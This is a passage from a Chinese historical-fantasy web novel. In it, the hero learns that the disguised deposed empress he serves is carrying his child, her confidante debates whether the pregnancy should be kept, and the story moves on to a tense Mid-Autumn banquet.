楚清秋没有被他带偏,目光紧紧锁住他:“少爷,我知道你本事大,心思深,很多事情都在你的计算之内,但幽冥教远比我们想象的更诡异难缠,那个幽影使能重伤萧无痕,其危险程度超乎预期。”
“朝廷的视线也从未离开,萧无痕的猜忌只是暂时被压下,并未消除。你如今看似自由,实则仍在风口浪尖,一步行差踏错,便是万劫不复。”
她的语气越来越急,带着一种罕见的焦灼:“现在的局面太复杂,也太危险了。你为我做的已经够多了,从替我解毒,到帮我遮掩身份,联络旧部,再到如今被卷入这浑水,身陷险境……我……”
她深吸一口气,仿佛下定了某种决心,声音虽轻却异常清晰:“少爷,退出吧。”
齐枫端着茶杯的手顿在了半空,脸上的笑容淡了下去,看着她,没有说话。
楚清秋避开他的目光,继续说了下去,语速加快,像是怕自己后悔:“我可以安排。云州商盟的线路已经初步打通,霍将军在北境边军中也有了些根基。我可以制造一个意外,让你重伤或者失踪,然后送你离开府城,去一个安全的地方!”
第两百六十九章 如雷的消息
楚清秋继续说:“江南,或者蜀中,我都可以安排妥当的身份和产业,足够你安稳富足地度过余生。锦绣阁的生意,南宫姑娘、柳姑娘她们,我也会替你照看好,绝不会牵连她们。”
她将一切都设想好了,条理清晰,甚至考虑到了他在意的人和物。
这绝非一时冲动,而是深思熟虑后的决定。
院子里静得只剩下风吹过树叶的沙沙声。
齐枫缓缓放下茶杯,瓷器与石桌碰撞发出轻微的“嗒”声。
他身体微微前倾,目光如炬,穿透夜色:“让我走?以重伤或失踪的名义?青禾,你这是要过河拆桥,还是……在担心我?”
楚清秋的肩膀几不可察地颤抖了一下,下意识地攥紧了衣袖:“我……我只是觉得,你不该被卷进这些前朝旧怨和血腥厮杀里。你本该有更广阔的天空,而不是困在这里,每日戴着镣铐,与阴谋诡计为伍,甚至随时可能丧命。这一切,本与你无关。”
“与我无关?”齐枫轻笑一声,笑声里却没什么温度,“从我在拍卖行拍下你的那一刻起,这一切就与我有关了。从你决定留在我身边的那一刻起,我们就是一条船上的人了。现在船行到河中央,风浪大了,你就要把我踹下水,自己掌舵?青禾,这可**道啊。”
“我不是这个意思!”楚清秋猛地抬头,“我只是不想你因我而死!复国之路艰难万分,白骨铺就,我看过太多牺牲,太多流血!我不想……不想最后连你也……”
她的声音哽咽了一下,没有说下去,但那未尽之语中的沉重与恐惧,却清晰地传递了出来。
齐枫脸上的戏谑彻底消失了。
他看着她,目光深沉:“所以,你是觉得我扛不住这风浪?护不住自己,也护不住你?”
“我不是质疑你的能力!”楚清秋急声道,“只是明枪易躲,暗箭难防!幽冥教的邪术防不胜防,朝廷的律法冷酷无情!你再厉害,也只有一个人!我不想你为了一个虚无缥缈的希望,一个可能永远无法实现的执念,赌上一切!这不值得!”
“值不值得,不是你说了算,青禾。”齐枫的声音平静,“是我说了算。我觉得值,那就值。”
他站起身,走到她面前,居高临下地看着她。
月光将他的影子投在她身上:“我齐枫行事,只问本心,不问后果。我选择帮你,不是因为乾朝,也不是因为什么复国大业有多崇高,仅仅因为我想帮,仅此而已。”
“这条路是难走,但既然走了,我就没想过要半途而废。把你一个人扔在这漩涡里自己跑路?这种事,**不出来。”
楚清秋仰头看着他,薄纱后的眼眸中情绪剧烈翻涌,有感动,有焦急,有无奈,更有一种深切的无力感。
她知道,自己说服不了他。
这个男人看似随和,骨子里却比谁都执拗。
两人对视着,空气仿佛凝固了。
夜风似乎也停止了吹拂。
良久,楚清秋仿佛被抽干了所有力气,缓缓低下头:“我明白了。”
她站起身,身形显得有些单薄脆弱:“夜深了,你……早点休息吧。”
她转身,准备离开,就在她即将走出月洞门的刹那,齐枫忽然开口:“青禾。”
楚清秋脚步一顿,却没有回头。
齐枫看着她纤细的背影,眉头几不可察地蹙了一下,刚才某一瞬间,他似乎看到她身形微不可察地晃了一下。
他放缓了声音:“你也别想太多。船到桥头自然直,天塌下来,还有个高的顶着呢。我看我就挺高的。”
楚清秋没有回应,只是轻轻“嗯”了一声,继续抬步向外走去。
然而,就在她第二步迈出时,异变陡生!
她的身体猛地一个踉跄,仿佛瞬间失去了所有力气,整个人软软地向一旁倒去!
“青禾!”齐枫身形如电,几乎是在她倒下的瞬间便已掠至她身边,长臂一伸,稳稳地将她揽入怀中。
齐枫立刻扣住她的手腕,指尖精准
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地搭在她的脉门上。
只是这一把脉,齐枫的眼神逐渐变得古怪起来。
指尖传来的触感冰凉,腕脉在齐枫的感知下细微地跳动。
起初,那脉象只是虚浮无力,似是心力交瘁、忧思过度所致,与她方才情绪激动、体力不支的状况相符。
齐枫内力微吐,正欲更仔细地探查那丝若有若无的阴寒异样,却忽然感知到另一股极其微弱、却截然不同的脉动。
那脉动滑利如珠,圆润有力,虽被母体虚弱的气血所掩盖,却顽强地存在着,如同初春冻土下努力钻出的第一株嫩芽,带着一种不容忽视的勃勃生机。
这脉象……
齐枫脸上的血色瞬间褪去,一贯从容淡定的神情第一次出现了裂痕,被巨大的震惊所取代。
他猛地抬头,看向怀中紧闭双眼、脸色苍白的楚清秋,眼神里充满了难以置信。
滑脉?!
这分明是喜脉!
虽然月份尚浅,脉象还不十分显著,但以他的医术修为,绝无可能误诊!
怎么会?!那一夜……仅有的一次意外……竟然……
巨大的冲击让齐枫一时之间竟有些失神,扣住她手腕的手指不自觉地收紧。
或许是感受到了他指尖力度的变化和那瞬间凝滞的气息,楚清秋长长的睫毛颤动了几下,缓缓睁开了眼睛。
眩晕感似乎消退了一些,但身体依旧酸软无力。
她对上齐枫那双写满了震惊的眼睛,微微一怔。
“怎么了?”她的声音依旧虚弱,“我的身体……有什么不对吗?”
齐枫张了张嘴,却发现喉咙有些干涩,一时间竟不知该如何开口。
这消息太过突然,太过震撼,完全超出了他所有的预料和计算。
他深吸一口气,强迫自己冷静下来:“青禾……你……你最近除了乏力眩晕,可还有……其他不适?比如……食欲不振,或者……嗜睡反胃?”
他问得有些艰难,每一个字都斟酌着出口。
第两百七十章 晴天霹雳
楚清秋闻言,眼中疑惑更甚。
她仔细回想了一下,确实,这些时日总觉得格外疲惫,心中还诧异是否是旧毒未清又添新忧所致。至于食欲……
似乎对某些气味格外敏感,晨起时偶尔也会有些许恶心,但她只当是压力过大,并未深想。
此刻被齐枫如此郑重地问起,再结合他方才那震惊无比的神色,一个荒谬却又令人心惊的念头如同闪电般劈入她的脑海!
她猛地瞪大了眼睛,原本苍白的脸颊瞬间褪得只剩下一片惨白,比刚才晕倒时还要难看。
她下意识地想要抽回手,却被齐枫下意识地握得更紧。
“你……你胡说些什么!”她的声音陡然拔高,“怎么可能!绝无可能!”
可齐枫那从未有过的严肃和震惊的表情,以及自己身体近来那些被忽略的细微变化,如同潮水般涌上心头,让她无法再自欺欺人。
那一夜……混乱……意外……难道真的……
巨大的恐慌瞬间攫住了她,比面对千军万马、刀剑加身时还要令她恐惧。
这个孩子……来得太不是时候了!
在她身份未明、前路艰险、强敌环伺、复国大业渺茫无踪之时!这简直是一场灾难!
齐枫看着她瞬间惨白的脸和眼中无法掩饰的恐慌,心中那最后一丝侥幸也彻底破灭。
他闭了闭眼,再睁开时,眼神复杂到了极点,有震惊,有茫然,有一丝难以言喻的悸动。
“脉象不会骗人……”他的声音干涩,“虽然还很微弱,但……确实是喜脉。月份……应该就在那一夜之后。”
最后几个字,他说得极其艰难,却也无比肯定。
“轰!”
楚清秋只觉得耳边一阵嗡鸣,整个世界仿佛都在旋转、崩塌。
喜脉……孩子……这两个词如同最沉重的枷锁,瞬间捆缚住了她的四肢百骸,让她几乎喘不过气。
她下意识地抚上自己依旧平坦的小腹,那里……竟然不知不觉中孕育了一个小小的生命?
是她和齐枫的……骨肉?
这个认知让她浑身冰冷,如坠冰窟。
短暂的死寂笼罩着小小的院落,只有风吹过树叶的沙沙声,衬得这份沉默愈发令人窒息。
良久,楚清秋猛地用力,挣脱了齐枫的手。
不知从哪里生出的力气,她挣扎着从齐枫怀中站起,踉跄着后退了两步,倚靠在冰凉的月亮门框上,才勉强稳住身形。
她剧烈地喘息着,胸口起伏不定,看着齐枫的眼神充满了混乱、抗拒,以及一种近乎本能的自我保护。
“不……这不关你的事……”她的声音颤抖得厉害,“这是我的事……我自己会处理。”
齐枫眉头紧锁,上前一步:“青禾!这怎么可能不关我的事?这是……”
“我说了不关你的事!”楚清秋猛地打断他,“这只是个意外!一个不该发生的错误!你不需要为此负责,更不需要被牵扯进来!”
她的思绪乱成一团麻。
她身上的担子每一样都沉重得足以压垮任何人。
如今再加上这个突如其来的孩子……她绝不能将齐枫更深地拖入这万劫不复的深渊!
他本该有更简单、更光明的人生!
“错误?”齐枫的心像是被什么东西狠狠刺了一下。
他看着眼前这个明明脆弱得快要倒下,却偏偏竖起全身尖刺的女人,“在你眼里,我们的孩子……只是一个错误?”
楚清秋偏过头,避开他灼人的视线,指甲深深掐入掌心,用疼痛强迫自己保持清醒和冷酷。
“是!这就是个错误!一个不该存在的错误!它的去留,我会自己考虑清楚,不需要你来过问!”
说完,她不再看齐枫一眼,用尽全身力气转过身,扶着墙壁,一步一步,极其艰难朝着院外走去。
齐枫站在原地,看着她踉跄离去的背影,没有立刻追上去。
孩子……是他的孩子……还有那个狠心决绝、将所有重担都扛在自己肩上、甚至不惜将他推开的女人……
楚清秋不知道自己是如何走回房间的。
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每一步都像是踩在云端,又像是坠着千斤巨石。
冰冷的月光透过窗棂,将她苍白失神的脸庞映照得一片朦胧。
她倚在窗边,指尖无意识地紧紧攥着窗沿,骨节泛白,仿佛唯有借此才能支撑住摇摇欲坠的身体。
那个消息,如同惊雷,在她脑中反复炸响,震得她神魂俱颤。
怀孕了……她竟然怀了齐枫的孩子。
混乱、恐慌、无措,还有一丝连她自己都无法分辨的、深藏在惊涛骇浪下的奇异悸动,交织在一起,几乎要将她撕裂。
腹中那微小却真实存在的生命,像是一颗投入死寂深潭的石子,激起千层浪,彻底打乱了她所有的计划、所有的坚持,以及那早已被命运锤炼得坚硬如铁的心防。
她需要有人分担这份几乎要将她压垮的重量,需要一个绝对信任的人来帮她理清这团乱麻。沉默良久,她终是深吸一口气,声音沙哑地对外间齐枫安排守候的侍女吩咐。
“去请柳姑娘过来,就说……我有要事相商,务必即刻前来,勿要惊动旁人。”
侍女领命而去,脚步声匆匆消失在回廊尽头。
楚清秋依旧维持着倚窗的姿势,目光空洞地投向窗外。
秋夜的风带着寒意,卷起几片枯叶,打着旋儿落下,一如她此刻纷乱无依的心绪。
她下意识地抬手,极轻地按在小腹上,那里依旧平坦,没有丝毫异样,可她知道,有什么东西已经不一样了。
一种陌生的、带着些许惶惑的柔软情绪,正试图冲破那厚重的、由国仇家恨铸就的盔甲。
不过片刻,轻盈而略显急促的脚步声便由远及近。
柳若雪推门而入,身上还带着夜间的凉气,脸上带着些许疑惑与担忧。
夜已深,陛下突然急召,且语气凝重,定有极其要紧之事。
她看到楚清秋独自站在窗边的背影,那般孤寂单薄,仿佛随时会被夜风吹散,心中不由一紧,连忙上前几步,柔声问道:“陛下,这么晚了唤若雪前来,可是有何急事?”
第两百七十一章 谋算
她目光敏锐地扫过楚清秋异常苍白的侧脸,心中的不安愈发扩大。
楚清秋没有回头,依旧望着窗外沉沉的夜色,她的声音平静得近乎诡异,听不出丝毫波澜,仿佛在陈述一件与己无关的事情,可微微颤抖的指尖却泄露了她内心的惊涛骇浪。
“我怀孕了。”
“……什么?”柳若雪一时没反应过来,下意识地重复了一句,美丽的脸上满是茫然,甚至以为自己听错了。
但下一秒,那四个字如同重锤带着万钧之力,狠狠砸在了她的心口!
她猛地瞪大了眼睛,瞳孔骤缩,脸上血色瞬间褪尽,连呼吸都停滞了一瞬。
她难以置信地看着楚清秋的背影,声音因为极度的震惊而拔尖:“怀、怀孕了?!陛下您……您说什么?!这……这怎么可能?!”
她几乎是踉跄着上前两步,想要看清楚清秋的表情,确认这不是一个荒谬的玩笑。
楚清秋缓缓转过身,月光照亮她毫无血色的脸。
那双总是蕴藏着坚韧与谋略、如同寒星般的眼眸,此刻却是一片深不见底的迷雾,充满了挣扎无力。
她看着柳若雪,嘴唇翕动了一下,最终只是极其艰难地、轻轻点了一下头,用最沉默的方式确认了这个石破天惊的消息。
柳若雪倒吸一口凉气,仿佛被无形的力量击中,踉跄着后退半步,用手紧紧捂住了嘴,才勉强将那几乎冲口而出的惊呼压了回去。
她的目光下意识惊疑不定地看向楚清秋依旧平坦的小腹,脑中如同被飓风席卷,一片混乱。
但一个名字几乎是瞬间、毫无悬念地跃入脑海,让她脱口而出:“是……是齐公子的?!”
除了他,绝无第二人可能!陛下身边从未有过其他男子近身,唯有齐枫……
唯有那个看似玩世不恭,却一次次闯入陛下生命中的男人!
楚清秋闭上了眼睛,长长的睫毛如同受惊的蝶翼般剧烈地颤抖着,显示出她内心极不平静。
她再次缓缓点头,默认了这个事实。
每一次点头,都像是用尽了全身的力气。
“……什么时候的事?”柳若雪的声音依旧发颤,她完全无法想象,陛下与齐公子……他们二人何时竟……发生了如此亲密的关系?
她竟丝毫未曾察觉!是了,必定是那次陛下旧毒复发,齐公子彻夜施针救治之后?
还是更早?无数的疑问和震惊充斥着她的脑海。
楚清秋却没有回答这个问题。此刻追问时间地点毫无意义。
她只是重新睁开眼,目光空洞地望着某处虚空,仿佛灵魂已经抽离,只剩下一具承载着巨大秘密的躯壳。
柳若雪看着她这副失魂落魄、与平日那个冷静果决的女帝判若两人的模样,心中又是心疼又是惊骇,但更多的是一种基于现实考量的理智迅速占据了上风。
她深吸了好几口气,强迫自己从极度的震惊中冷静下来,脸色变得凝重,甚至带上了几分厉色。
“陛下!这孩子……这孩子绝不能留!”
她上前一步,抓住楚清秋冰凉得吓人的手,想用自己的温度温暖她,也用残酷的现实唤醒她。
她飞快地分析道:“如今正是复国的关键时期,危机四伏,步步惊心!袁氏虽暂受挫,但百足之虫死而不僵,幽冥教在暗处虎视眈眈,手段越发诡谲狠辣,朝廷的视线从未有一刻真正离开过!”
“您身负乾朝最后的希望,是无数旧部忍辱负重、苦苦支撑的精神支柱!多少双眼睛在看着您,多少人的身家性命系于您一身!您怎能在这个节骨眼上怀有身孕?”
她的话语如同冰锥,一字一句都戳在最为残酷的现实之上,毫不留情。
“且不说孕期反应会严重影响您的判断、体力和行动力,一旦消息泄露,后果不堪设想!朝廷又会如何反应?会不会以此为由,更加疯狂地**清算?”
“那些原本支持您的势力、那些还在观
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望的墙头草,又会如何看待一个身怀六甲、前途未卜的女帝?陛下,此事关乎的不仅是您一人的清誉安危,更是整个复国大业的存亡啊!一步踏错,便是满盘皆输,万劫不复!”
柳若雪说得又快又急,几乎喘不过气来,她紧紧盯着楚清秋。
可楚清秋只是沉默着,她的手指无意识地蜷缩起来。
这沉默本身,就是一种无声的回答。
若她心意坚决要舍弃,又何必如此挣扎痛苦?
柳若雪的心猛地一沉,如同坠入冰窟。
她太了解楚清秋了,若非动了心思,生出了那不该有的、属于母性的柔软和犹豫,以她平日杀伐果决的性子,绝不会是这般反应。
她焦急地在房中踱了两步,裙摆拂过地面,发出窸窣的声响,在这死寂的房间里显得格外清晰。
忽然,像是抓住了什么救命稻草般,也是为自己和陛下找到一个看似合理的借口,柳若雪的眼睛猛地一亮。
“不过……陛下,若是换个角度想……”她停下脚步,转向楚清秋,眼神变得复杂起来。
“若是留下这个孩子……或许……也并非全是坏事。”
楚清秋终于有了反应,抬眸看向她,眼中带着一丝不解和深深的疲惫。
柳若雪斟酌着语句,缓缓说道:“齐公子才华绝世,智谋超群,心思缜密,手段更是层出不穷。他虽看似玩世不恭,实则重情重义。更难得的是他对陛下您……确是情深意重,几次三番为您出生入死,毫无怨言。”
“若是有了这个孩子,他与我们便是真正血脉相连,骨肉至亲,再也无法割舍。为了您和孩子的安危与未来,他必定会倾尽全力,毫无保留地助我们复国!这或许……是一股我们从未想象过的、前所未有的强大助力!甚至能起到决定性的作用!”
她越说越觉得此事或许真有转圜之机,思路也越发清晰,甚至开始不受控制地设想更远的未来,脸上越发狂热。
第两百七十二章 是去是留
“待到他日功成,陛下重登大宝,光复乾朝,这孩子便是名正言顺的皇室嫡系血脉,是乾朝未来的希望与继承人。而齐公子……以他的不世之功和与陛下的情分,接入宫中,赐予高位厚禄!”
“甚至……甚至册封为皇夫,也并非不可想象之事……届时,一家团圆,共享盛世,岂非……岂非也是一段佳话?”
她的声音渐渐低了下去,带着一丝不确定。
因为她发现,楚清秋的目光依旧平静,甚至在那平静之下,透着一丝淡淡的嘲讽和疏离。
仿佛她所说的这一切关于权势、算计和未来蓝图的描绘,都与她此刻内心的真实感受隔着一层可悲的厚壁障,显得如此苍白无力。
柳若雪满腔的盘算和设想,在这沉默而通透的注视下,渐渐冷却了下去。
她终于意识到,陛下此刻心中所虑所挣扎的,不是这些冰冷的利弊权衡和虚幻的远景规划。
那是一个母亲最原始、最本能的情感与残酷现实之间最直接、最痛苦的碰撞。
她叹了口气,走到楚清秋身边,声音恢复了最初的担忧和柔软,还带着一丝无力感:“陛下……您心中究竟是如何想的?总要有个决断才是。此事……拖不得。时间每过一天,风险便大一分。”
楚清秋终于缓缓开口,像是已经耗尽了所有心力:“此事,我自有打算。你……先退下吧。今夜之事,绝不可对任何人提起,包括霍将军。”
“陛下……”柳若雪还想再劝,却见楚清秋已然转过身去,重新面向窗外,只留给她一个无比决绝的背影。
柳若雪看着她坚决的侧脸轮廓,知道再问下去也是无益,反而可能激起陛下的逆反心理,只得将满腹的担忧和未竟的话语生生咽了回去。
她幽幽地叹了口气,叹息声中充满了无奈,最终只得躬身行了一礼:“是……若雪明白。陛下……务必万事小心,保重凤体。若雪告退。”
她一步三回头,忧心忡忡地退出了房间,动作极轻地带上了房门。
室内重新恢复了死一般的寂静,只剩下楚清秋一人,以及窗外那轮冷漠地注视着一切的孤月。
她缓缓抬起微微颤抖的手,极其小心翼翼抚上自己依旧平坦的小腹。
那里似乎还感觉不到任何生命的迹象,却又沉甸甸地宣告着它的存在,压着她的心,也搅乱了她的人生。
月光洒在她纤细白皙的手上,勾勒出脆弱而迷茫的轮廓。
她望着窗外,看着浓得化不开的夜色,眼神迷茫而挣扎,如同迷失在惊涛骇浪中的一叶孤舟,前后左右皆是深渊巨壑。
许久,许久,她才发出一声几乎微不可闻的的喃语,那声音轻飘飘地融入冰冷的空气里。
“孩子……你来得……太不是时候了……”“是去……是留……”
时间如水,不经意间便从指缝溜走。
转眼,中秋佳节近在眼前。
府城的大街小巷早已弥漫开浓郁的节日气氛,各色灯笼挂满了商铺檐角,售卖月饼、瓜果、花灯的摊贩挤满了街道两侧,吆喝声、讨价还价声、孩童的嬉笑声交织在一起,冲淡了连日来因王家村事件和幽冥教传闻带来的紧张与压抑。
锦绣阁作为府城近来风头最盛的商铺,自然也不例外。
门前早早挂起了硕大的走马灯,灯上绘着嫦娥奔月、玉兔捣药的图案,精致非凡。
阁内更是人流如织,许多夫人小姐都赶着节前再来挑选一批新到的丝绸,或是定制一身中秋夜宴的新衣。
南宫玥和柳若雪忙得脚不沾地,指挥着伙计和绣娘们应对络绎不绝的客人,虽然疲惫,但看着红火的生意,脸上都带着笑意。
周子陵和徐远陈玉堂三个人也常来帮忙,美其名曰帮忙维持秩序,实则多半是凑热闹,顺便蹭吃蹭喝。
阁内氛围热闹而温馨,仿佛一切都回到了正轨。
齐枫也恢复了往日那副闲散模样,时常摇着折扇在阁内晃悠,偶尔给客人推荐一下布料
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,或是与相熟的老主顾寒暄几句,仿佛之前天牢的经历只是一场短暂的噩梦。
只是他偶尔望向楚清秋所在院落方向时,眼底会掠过一丝不易察觉的复杂。
自那夜之后,楚清秋便刻意避着他。
即便偶尔在前厅遇见,她也总是低垂着眼帘,匆匆点头便算打过招呼,然后便借口处理账目或巡视绣坊迅速离开,仿佛他是某种令人唯恐避之不及的瘟疫。
这日午后,赵明兰也带着丫鬟来了锦绣阁。
她穿着一身鹅黄色的襦裙,显得娇俏活泼,一进门便叽叽喳喳地说个不停。
“齐枫!连萧无痕那条命都是你从阎王爷手里抢回来的?可以啊你!”她围着齐枫转了一圈,上下打量着,眼神亮晶晶的,满是好奇与崇拜,“快跟我说说,那幽冥教的妖人长什么样?是不是青面獠牙、三头六臂?”
齐枫被她逗笑了,用折扇轻轻敲了下她的额头:“哪有那么夸张?就是些见不得光的老鼠,擅长用些阴毒手段罢了。真要说厉害,还是咱们赵大小姐比较厉害,听说前几天还把上门找茬的几个袁家旁支子弟骂得狗血淋头?”
赵明兰得意地扬起下巴:“那是!也不看看本小姐是谁!袁家那群废物,没了袁克良和袁惊尘,就跟没了头的苍蝇一样,还敢来招惹我?哼!”
两人说笑间,楚清秋正巧从后院账房出来,准备去前厅库房清点一批刚送到的丝线。
看到厅内谈笑风生的齐枫和赵明兰,她的脚步几不可察地顿了一下,目光在齐枫带笑的侧脸上停留了一瞬,随即迅速垂下,加快脚步,想从旁边绕过去。
齐枫眼角的余光早已瞥见了她。
他心中那丝莫名的烦躁和被她连日躲避的郁闷再次涌起,几乎是不假思索地,他出声唤道:“青禾。”
楚清秋身形一僵,不得不停下脚步,转过身,微微颔首,语气疏离又客气:“少爷,赵小姐。”
声音平静无波,听不出任何情绪。
第两百七十三章 避之不及
赵明兰也笑着打招呼:“青禾!”
齐枫走上前几步,试图从她低垂的眼帘中看出些什么,语气尽量放得随意:“忙什么呢?我看你这几日似乎清减了些,可是身体不适?若有需要,我……”
“多谢少爷关心,我很好。”楚清秋迅速打断他的话,依旧没有抬头看他,“只是节前事务繁多,有些劳累罢了。库房那边还等着清点,我先过去了。”
说完,她几乎是迫不及待地转身,步履匆匆地离开了前厅,那背影带着明显的逃离意味。
齐枫看着她几乎是落荒而逃的背影,伸出的手僵在半空,脸上的笑容渐渐淡去,眸色沉了下来,心中那股无名火越烧越旺,却又无处发泄。
这一幕,恰好被刚从二楼下来的小荷看在眼里。
小丫头抱着一匹刚熨烫好的布料,歪着脑袋,小脸上满是困惑。
她哒哒哒地跑到齐枫身边,扯了扯他的衣袖,仰起脸,小声问道:“少爷,青禾姐姐最近好奇怪呀。”
齐枫收回目光,低头看她,勉强笑了笑:“哦?怎么奇怪了?”
小荷皱着小眉头,努力组织着语言:“就是……就是好像很不开心,总是自己一个人待着,也不怎么笑了。而且……而且她好像很怕见到少爷你一样,每次看到你,就像……就像小兔子看到大灰狼,‘嗖’一下就跑了!”她一边说,还一边做了个夸张的逃跑动作。
童言无忌,却精准地戳中了要害。
齐枫的心像是被针扎了一下,有些刺痛,又有些苦涩。
他揉了揉小荷的脑袋,故作轻松:“瞎说,你青禾姐姐怎么会怕我?定是最近太忙了,累着了。你别胡思乱想。”
“真的吗?”小荷眨巴着大眼睛,显然不太相信,“可是……可是我觉得青禾姐姐就是有点不一样了。少爷,你是不是和青禾姐姐闹别扭了呀?就像我上次和隔壁小花闹别扭,她也好几天不理我呢。”
齐枫被小丫头的话问得有些哑然,只得继续维持着笑容:“没有的事,少爷我人见人爱,花见花开,怎么会和人闹别扭?快去把布料送过去吧,一会儿南宫姐姐该等急了。”
小荷狐疑地看了他一眼,虽然还是觉得有点奇怪,但听话地点点头:“哦,知道啦。”抱着布料一步三回头地走了。
打发走小荷,齐枫脸上的笑容彻底消失了。他独自站在原地,前厅的热闹喧嚣仿佛与他隔着一层无形的屏障。
楚清秋那疏离冷漠的眼神、仓惶逃离的背影,还有小荷那句“闹别扭了呀”,在他脑中反复回响。
那绝不仅仅是闹别扭那么简单。
那一夜的发现,像一道巨大的鸿沟,骤然横亘在他们之间。
她选择了逃避,选择了将他推开,独自承受那巨大的压力和恐慌。
而他,面对过天劫的强者,此刻竟一时也不知该如何是好。
强行靠近,只怕会让她更加抗拒,放任不管,却又心绪难安,尤其是担忧她的身体和那……未定的去留。
这种无力感,对他而言,陌生而又令人烦躁。
“喂!齐枫!发什么呆呢?”赵明兰的声音将他从沉思中拉回。
她凑过来,好奇地看着他不太好看的脸色,“怎么了?真和青禾吵架了?”
齐枫迅速收敛心神,重新挂上那副玩世不恭的面具,扇子“唰”地一声打开,遮住了半张脸:“吵什么架?本少爷像是会跟姑娘吵架的人吗?我是在思考中秋夜宴上,该作一首何等惊才绝艳的诗,才能配得上本少爷这绝世风采。”
赵明兰果然被转移了注意力,兴奋地追问:“真的?你想好了?快念来听听先!”
“天机不可泄露。”齐枫神秘一笑,用扇子轻轻推开她,“到时候自然见分晓。”
接下来的两日,锦绣阁依旧忙碌,节日的氛围也越来越浓。
楚清秋依旧避着齐枫,但或许是节日的冲淡,或许是刻意调整,她的脸色似乎稍稍好转了一些,虽然依旧沉默寡言,但至少不再那般苍白得吓人
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她将大部分精力都投入到了阁中事务和中秋宴的准备工作上,仿佛想用无尽的忙碌来麻痹自己,逃避艰难的选择。
齐枫也将心思暂时压下,专注于应对即将到来的中秋宴。
这场宴会对他而言,同样至关重要,不仅关乎能否进一步洗刷嫌疑,或许也是一个……打破僵局的契机。
终于,在一片忙碌与期待中,中秋之日,如期而至。
夜幕缓缓降临,华灯初上,将整个府城装点得如同星海落凡尘。
而城中最为耀眼之处,莫过于临水而建的醉月楼!
今夜,这里将是府城中秋盛宴的举办之地,万众瞩目。
华灯璀璨,笙箫漫耳。
中秋之夜的醉月楼,俨然成了府城最耀眼的明珠。
临水而建的楼阁飞檐斗拱,此刻悉数挂上了精巧的琉璃灯与嫣红的绸花,倒映在波光粼粼的湖水中,碎成满池流动的星子,与天边那轮渐圆的明月交相辉映。
楼下车马如龙,衣着光鲜的宾客们在仆从的簇拥下,递上名帖,寒暄着步入这灯火通明的盛宴之地。
楼内更是人头攒动,热闹非凡。
府城内有头有脸的官员、士绅、富商巨贾、文人墨客,以及各家精心打扮过的夫人小姐们,几乎齐聚于此。
空气中弥漫着酒香、果香、脂粉香以及一种节庆喧嚣热烈的气氛。
侍女们穿着崭新的衣裙,手托银盘,如同穿花蝴蝶般在宾客间穿梭,奉上时令佳肴和陈年美酒。
巨大的厅堂四周摆放着冰鉴,丝丝凉气驱散着人群**带来的燥热,也保着瓜果的鲜脆。
宴会设于醉月楼最大的主厅“揽月轩”,数十张紫檀木大桌按地位尊卑依次排开,桌上已摆满了冷盘八碟,寓意吉祥。
主位之上,自然是知府赵明德与按察使卢正淳。
卢正淳气色虽比前些日子好了不少,但仍需偶尔低声咳嗽,身上披着一件厚实的狐裘,显是重伤初愈,元气未复,畏寒未消。
第两百七十四章 中秋
赵明德则精神矍铄,满面红光,正与身旁几位同僚及本地耆老谈笑风生,言语间颇有些与民同乐的宽和。
而最引人注目的,却是主位左侧那张单独设下的桌案。
锦衣卫指挥使萧无痕端坐其后,一身玄色暗纹锦袍,衬得他脸色愈发苍白,唇色也淡得近乎没有血色。
他腰背挺得笔直,仿佛重伤并未对他造成丝毫影响,但偶尔微蹙的眉头和按在腹部的、看似随意实则借力的手,却泄露了他的虚弱与不适。
他并未参与周围的寒暄,面前只放着一杯清茶和几样清淡小菜,那双鹰隼般锐利的眼眸只是缓缓地、不动声色地扫视着全场,目光沉静如水,却带着一种令人心悸的压力,让经过他附近的宾客都不自觉地放低了声音,收敛了笑容。
他的出席,本身就是一个强烈的信号,预示着今夜这场宴会,绝非简单的佳节同乐。
齐枫的位置被安排在了靠近主位、却又并非最核心的区域,与南宫玥、柳若雪、周子陵、徐远等人同席。
这个位置颇为微妙,既显示了他如今在府城特殊的地位和功劳,又暗示着他身上那尚未彻底洗清的“嫌疑”。
他今日换了一身月白色的杭绸新袍,袍角绣着疏落的墨竹,玉带束腰,更显得身姿挺拔,面容清隽,在这满堂华服中反倒有种清逸出尘之感。
他摇着一把泥金折扇,嘴角噙着惯有的懒散笑意,与周子陵、徐远,陈玉堂低声谈笑。
评论着席间的菜色或是某位官员略显滑稽的举止,仿佛浑然不觉四周或明或暗投来的打量、探究、甚至忌惮的目光。
南宫玥坐在他身侧,一袭绯色缕金百蝶穿花云缎裙,云鬓珠翠,明艳不可方物,如同怒放的牡丹。
她不时体贴地为齐枫布菜斟酒,轻声细语地介绍着某道菜肴的来历或是与她家商号的关系,看向他的眼神中带着毫不掩饰的倾慕与关切,俨然以齐枫的红颜知己自居。
柳若雪则安静许多,穿着一身湖蓝色绣缠枝莲的襦裙,气质清冷,手持一柄缂丝团扇,目光偶尔掠过全场,尤其在看到袁家席位时,会多停留片刻,带着一丝不易察觉的警惕。
而在稍远一些、靠近厅堂边缘、与几位商铺大管事和他们的家眷同席的位置,楚清秋安静地坐在那里。
她依旧穿着素雅的青碧色细布衣裙,发间只簪了一根素银簪子,脸上覆着那层惯常的薄纱,低眉顺目,尽量减少自己的存在感。
作为锦绣阁的管事和齐枫的婢女,她本无资格列席此等规格的宴会,但赵明德感念齐枫之功及锦绣阁对府城灾后重建、稳定商市的贡献,特意给了请柬。
她的目光大多数时间落在自己面前那套细腻的白瓷杯盏上,只有极偶尔的瞬间,才会极快、极轻地抬眸,视线越过攒动的人头,掠过主厅那热闹非凡的中心。
在那月白色的、谈笑风生的身影上短暂停留一瞬,便如同被火烫到般迅速收回,指尖在袖中微微蜷缩,下意识地抚上小腹,又立刻惊醒般放下,心中一片纷乱芜杂。
厅内另一侧,袁家的席位则显得有些沉闷压抑,与周围的喜庆格格不入。
袁振山面无表情地坐在主位,慢悠悠地品着一杯看起来色泽浓醇的药酒,偶尔与身旁的族老低声交谈几句,花白的眉毛下眼神浑浊,看不出喜怒。
他身后的袁家子弟则大多脸色不善,尤其是几个年轻气盛的,如袁惊鸿,看向齐枫那一桌的眼神几乎能喷出火来,手中酒杯捏得死紧。
显然对家族近日的颓势、袁克良的倒台、袁惊尘的闭门不出以及齐枫此刻的风光耿耿于怀,如鲠在喉。
袁惊尘并未出席,据说自断魂谷回来后便一直在府中“静养”,但厅内稍有消息来源的人都心知肚明,那绝非简单的静养,若非有其他谋算,便是因其行事乖张暴戾而被袁振山暂时圈禁。
宴会初始,在一片觥筹交错与虚情假意的寒暄客套中度过。
